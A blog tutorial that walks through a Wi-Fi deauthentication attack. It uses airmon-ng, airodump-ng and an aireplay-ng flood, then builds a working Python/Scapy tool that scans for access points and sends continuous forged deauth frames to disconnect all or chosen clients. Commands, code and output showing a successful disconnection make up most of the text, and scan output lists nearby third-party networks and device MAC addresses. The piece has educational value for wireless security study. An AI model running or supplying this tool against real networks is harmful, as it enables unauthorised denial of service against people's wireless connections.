Wireless “Deauth” Attack using Aireplay-ng, Python, and Scapy

What are Deauth Attacks Used For?

Before we start performing deauth attacks, let’s first get an understanding of what they can be used for. Obviously, the primary thing they can do is force stations (clients) off of a given network, causing a Denial of Service (DoS) attack. We can also use deauth attacks to reveal otherwise hidden SSIDs (not included in Beacon frames) by disconnecting the clients, and then monitoring for Probe Requests which always contain the SSID.

Performing a Deauth Attack the “Easy” Way
Let’s start by performing a deauth attack the “easy” way using tools already available in Backtrack. The first step will be to put our Alfa wireless card in “monitor mode“. This will allow us to monitor all traffic detected without having to first associate with an access point.  This is important as it will allow us to deauth clients on a wireless network without being authenticated to it. We will use the tool “airmon-ng” to create a monitor mode interface as follows:
root@bt:~# ifconfig
<snip loopback>

wlan0     Link encap:Ethernet  HWaddr 00:c0:ca:69:a3:8b
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@bt:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
523     dhclient3
628     dhclient3
1540    dhclient3
Process with PID 1540 (dhclient3) is running on interface wlan0


Interface       Chipset         Driver

wlan0           Realtek         rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

root@bt:~# ifconfig
<snip loopback>

mon0      Link encap:UNSPEC  HWaddr 00-C0-CA-69-A3-8B-30-30-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5085 (5.0 KB)  TX bytes:0 (0.0 B)

wlan0     Link encap:Ethernet  HWaddr 00:c0:ca:69:a3:8b
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

After we’ve created our monitor mode interface, we can use the tool “airodump-ng” to scan across different channels to enumerate both access points and their associated BSSID’s as well as client stations, their MAC addresses, and any known SSIDs (found by monitoring Probe Requests).

root@bt:~# airodump-ng mon0


 CH  6 ][ Elapsed: 17 mins ][ 2013-01-21 22:49

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 E4:CE:8F:69:ED:7D   -1        0        0    0 113  -1                    <length:  0>
 28:37:37:47:4B:0A  -35       19        0    0   1  54e. WPA2 CCMP   PSK  Bill Wi the Science Fi
 58:6D:8F:3B:96:F8   -9       27        3    0  11  54e  WPA2 CCMP   PSK  raidersec
 78:CA:39:41:F9:1F  -47       17        0    0   1  54e. WPA2 CCMP   PSK  <length:  0>
 A0:21:B7:7D:02:82  -48       15        2    0   6  54e  WPA2 CCMP   PSK  <length:  6>
 00:24:14:10:15:F0  -58       21        0    0  11  54e. WPA2 CCMP   PSK  <length:  1>
 C0:3F:0E:1A:DF:22  -64        8        0    0   6  54e  WPA  TKIP   PSK  <length:  6>
 68:7F:74:F9:B9:AC  -68        1        4    0   6  54e. WPA2 CCMP   PSK  <length:  0>
 00:24:14:11:59:C0   -1        0        2    0 128  -1   WPA              <length:  0>
 02:05:17:7D:0E:FC   -1        9        0    0  11  11   OPN              print server 5587C5
 E0:F8:47:0C:9F:42  -64       10        1    0  11  54e  WPA2 CCMP   PSK  MILKISGOOD
 2C:41:38:43:65:0A  -68        2        0    0   6  54e. WPA2 CCMP   PSK  HP-Print-0A-Photosmart 5520

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   6C:3E:6D:3A:15:79  -63    0 - 1      0        2  4610X WIRELESS PLUS,BakerBrosDeli
 (not associated)   00:23:15:33:C2:60  -52    0 - 1      0       13  belkin.308
 (not associated)   68:B5:99:35:C2:A3  -60    0 - 1    689       20  2WIRE854
 (not associated)   00:20:00:BC:26:D5  -65    0 - 1      0        5
 (not associated)   20:AA:4B:E4:F8:85  -66    0 - 1      0        2
 (not associated)   2C:27:D7:8A:DD:E1  -67    0 - 1      0        2  NETGEAR04
 (not associated)   2C:9E:FC:0E:EC:98  -62    0 - 1    293       13  BJNPSETUP
 (not associated)   7C:1E:52:05:D7:78  -68    0 - 1      0        1  MM7MJ
 (not associated)   1C:C1:DE:E3:5F:86  -38    0 - 1    245       94  2WIRE629
 E4:CE:8F:69:ED:7D  10:40:F3:F1:43:4C  -63    0 - 1      4        2
 00:24:14:11:59:C0  54:04:A6:35:3E:9C  -57    0 - 1e     0        8
 02:05:17:7D:0E:FC  00:20:00:55:87:C5  -70    0 - 1     52        9
 E0:F8:47:0C:9F:42  00:17:AB:61:81:DD   -1    1 - 0      0        1

Let’s target the “raidersec” network. First, we see that the network is on channel 11, so we need to set both our wlan0 and mon0 interfaces to use this channel using the “iwconfig” command. Then, after grabbing the BSSID from airodump-ng (note: we could just use the ESSID, however we’re trying to be comprehensive), we can use the tool “aireplay-ng” to inject deauthentication packets into the network by spoofing the BSSID of the access point. This will cause clients to disconnect from the network, and staying offline until we stop sending out deauth packets. Here’s a sample session (you can’t see it, but this does indeed disconnect all my devices connected to the “raidersec” network).

root@bt:~# iwconfig wlan0 channel 11
root@bt:~# iwconfig mon0 channel 11
root@bt:~# aireplay-ng --deauth 0 -a 58:6D:8F:3B:96:F8 mon0
23:03:26  Waiting for beacon frame (BSSID: 58:6D:8F:3B:96:F8) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
23:03:26  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:27  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:27  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:28  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:28  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:29  Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
Leveraging Scapy to Perform a Deauth Attack:

Scapy is a very powerful Python module which allows us to sniff, create, manipulate, filter, and display network traffic down to the individual packet. You can find the basics of how to use Scapy here. We can leverage this functionality to create a tool which performs the same attack seen above. Let’s see how we can implement this.

First, let’s create a script which will print the BSSID and ESSID of all detected wireless networks. We will use the os module to perform channel hopping so that we can enumerate networks on multiple channels (note: this functionality was first seen on airoscapy.py). We will store all this information in a dictionary which associates the BSSID and channel with the found ESSID.

As a quick side note, you will note in airoscapy.py that the channel can be found by looking at the third Dot11Elt layer of the packet, and performing both the ord() and int() functions on it. This was a clever insight, and I wanted to make particular note of it. We can verify this from the following Wireshark capture of a beacon frame from our raidersec AP:

 

Channel Beacon Wireshark

Here is the code to sniff for access points:

import argparse
from multiprocessing import Process
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import signal
import threading

def add_network(pckt, known_networks):
        # Check to see if it's a hidden SSID (this could be resolved later using out Deauth attack)
        essid = pckt[Dot11Elt].info if '\x00' not in pckt[Dot11Elt].info and pckt[Dot11Elt].info != '' else 'Hidden SSID'
        bssid = pckt[Dot11].addr3
        # This insight was included in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/)
        channel = int(ord(pckt[Dot11Elt:3].info))
        if bssid not in known_networks:
                known_networks[bssid] = ( essid, channel )
                print "{0:5}\t{1:30}\t{2:30}".format(channel, essid, bssid)


# Channel hopper - This code is very similar to that found in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/)
def channel_hopper(interface):
        while True:
                try:
                        channel = random.randrange(1,13)
                        os.system("iwconfig %s channel %d" % (interface, channel))
                        time.sleep(1)
                except KeyboardInterrupt:
                        break

def stop_channel_hop(signal, frame):
        # set the stop_sniff variable to True to stop the sniffer
        global stop_sniff
        stop_sniff = True
        channel_hop.terminate()
        channel_hop.join()

def keep_sniffing(pckt):
        return stop_sniff

if __name__ == "__main__":
        parser = argparse.ArgumentParser(description='aircommand.py - Utilize many wireless security features using the Scapy python module')
        parser.add_argument('-i', '--interface', dest='interface', type=str, required=True, help='Interface to use for sniffing and packet injection')
        args = parser.parse_args()
        networks = {}
        stop_sniff = False
        print 'Press CTRL+c to stop sniffing..'
        print '='*100 + '\n{0:5}\t{1:30}\t{2:30}\n'.format('Channel','ESSID','BSSID') + '='*100
        channel_hop = Process(target = channel_hopper, args=(args.interface,))
        channel_hop.start()
        signal.signal(signal.SIGINT, stop_channel_hop)
        # Sniff Beacon and Probe Response frames to extract AP info
        sniff( lfilter = lambda x: (x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp)), stop_filter=keep_sniffing, prn=lambda x: add_network(x,networks) )

It’s important to mention that this code implements Scapy sniff() function’s “stop_filter” parameter, which was introduced in version 2.1.1. As of this writing, the version included in Backtrack is 2.0.1, so if you are using Backtrack, you will need to upgrade (or just patch your sendrecv.py file). Using this callback may seem somewhat unnecessary, but it will help in a big project I’m currently working on (and will release sometime soon! ).

Let’s take a look at the output:

root@bt:/pentest/crux# python sniff-aps.py -i mon0
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import os, sys, math, socket, struct, sha, hmac, string, time
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import random, popen2, tempfile
Press CTRL+c to stop sniffing..
====================================================================================================
Channel ESSID                           BSSID
====================================================================================================
    6   Hidden SSID                     a0:21:b7:7d:02:82
   11   raidersec                       58:6d:8f:3b:96:f8
    1   Hidden SSID                     78:ca:39:41:f9:1f
    1   Bill Wi the Science Fi          28:37:37:47:4b:0a
    1   Hidden SSID                     c8:60:00:95:45:26
    1   TTUnet                          02:2b:8b:c3:b0:c2
    6   Hidden SSID                     c0:3f:0e:1a:df:22
    6   TTUnet                          00:24:14:11:2c:c0
    6   HP-Print-D6-Deskjet 3520 series a0:b3:cc:d0:28:d6
    6   HP-Print-0A-Photosmart 5520     2c:41:38:43:65:0a
    6   HP-Print-10-Photosmart 5520     a0:b3:cc:d4:91:10
   11   MILKISGOOD                      e0:f8:47:0c:9f:42
   11   print server 5587C5             02:05:17:7d:0e:fc
   11   Hidden SSID                     00:24:14:10:15:f0
   11   TTUnet                          00:24:14:11:3b:10
   11   Brianâs MacBook Pro             b8:8d:12:42:fc:2c
   11   TTUnet                          d8:c7:c8:18:93:30
   11   TTUnet                          00:24:14:11:8d:20
    6   Hidden SSID                     68:7f:74:f9:b9:ac

Nice. Now that we have a dictionary containing our BSSIDs, ESSIDs, and channels, let’s add the ability to perform a deauth_attack() function will take in our dictionary entry for a particular BSSID as well as an optional client MAC address (for targeted attacks) and perform a deauth attack. We will use Scapy’s layered packet construction to make our deauth packet and send it using the send() function. Let’s first take a look at the perform_deauth() function:

def perform_deauth(bssid, client, count):
  pckt = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth()
	cli_to_ap_pckt = None
	if client != 'FF:FF:FF:FF:FF:FF' : cli_to_ap_pckt = Dot11(addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth()
	print 'Sending Deauth to ' + client + ' from ' + bssid
	if not count: print 'Press CTRL+C to quit'
	# We will do like aireplay does and send the packets in bursts of 64, then sleep for half a sec or so
	while count != 0:
		try:
			for i in range(64):
				# Send out deauth from the AP
				send(pckt)
				# If we're targeting a client, we will also spoof deauth from the client to the AP
				if client != 'FF:FF:FF:FF:FF:FF': send(cli_to_ap_pckt)
			# If count was -1, this will be an infinite loop
			count -= 1
		except KeyboardInterrupt:
			break

Now, here’s the code we’ll tack on to our main program flow to call the perform_deauth() function after getting relevant information from the user:

  # Reset our signal handler
	signal.signal(signal.SIGINT, signal.SIG_DFL)
	target_bssid = raw_input('Enter a BSSID to perform an deauth attack (q to quit): ')
	while target_bssid not in networks:
		if target_bssid == 'q' : sys.exit(0)
		raw_input('BSSID not detected... Please enter another (q to quit): ')
	# Get our interface to the correct channel
	print 'Changing ' + args.interface + ' to channel ' + str(networks[target_bssid][1])
	os.system("iwconfig %s channel %d" % (args.interface, networks[target_bssid][1]))
	# Now we have a bssid that we have detected, let's get the client MAC
	target_client = raw_input('Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF): ')
	if not target_client: target_client = 'FF:FF:FF:FF:FF:FF'
	deauth_pckt_count = raw_input('Number of deauth packets (Default: -1 [constant]): ')
	if not deauth_pckt_count: deauth_pckt_count = -1
	perform_deauth(target_bssid, target_client, deauth_pckt_count)

Finally, let’s run it and see the output:

root@bt:/pentest/crux# python sniff-aps.py -i mon0
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import os, sys, math, socket, struct, sha, hmac, string, time
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import random, popen2, tempfile
Press CTRL+c to stop sniffing..
====================================================================================================
Channel ESSID                           BSSID
====================================================================================================
    1   Hidden SSID                     78:ca:39:41:f9:1f
    1   Bill Wi the Science Fi          28:37:37:47:4b:0a
   11   Hidden SSID                     00:24:14:10:15:f0
   11   raidersec                       58:6d:8f:3b:96:f8
^CEnter a BSSID to perform an deauth attack (q to quit): 58:6d:8f:3b:96:f8
Changing mon0 to channel 11
Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF):
Number of deauth packets (Default: -1 [constant]):
Sending Deauth to FF:FF:FF:FF:FF:FF from 58:6d:8f:3b:96:f8
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
<snip>

Worked like a charm! It disconnected all clients on the raidersec WLAN. You can find the full source here.

Scapy is an extremely powerful tool. By leveraging its packet sniffing and injecting capabilities, we can replicate many attacks on wireless infrastructure.

 

Source: RaiderSec: Wireless “Deauth” Attack using Aireplay-ng, Python, and Scapy

Bad Behavior has blocked 42 access attempts in the last 7 days.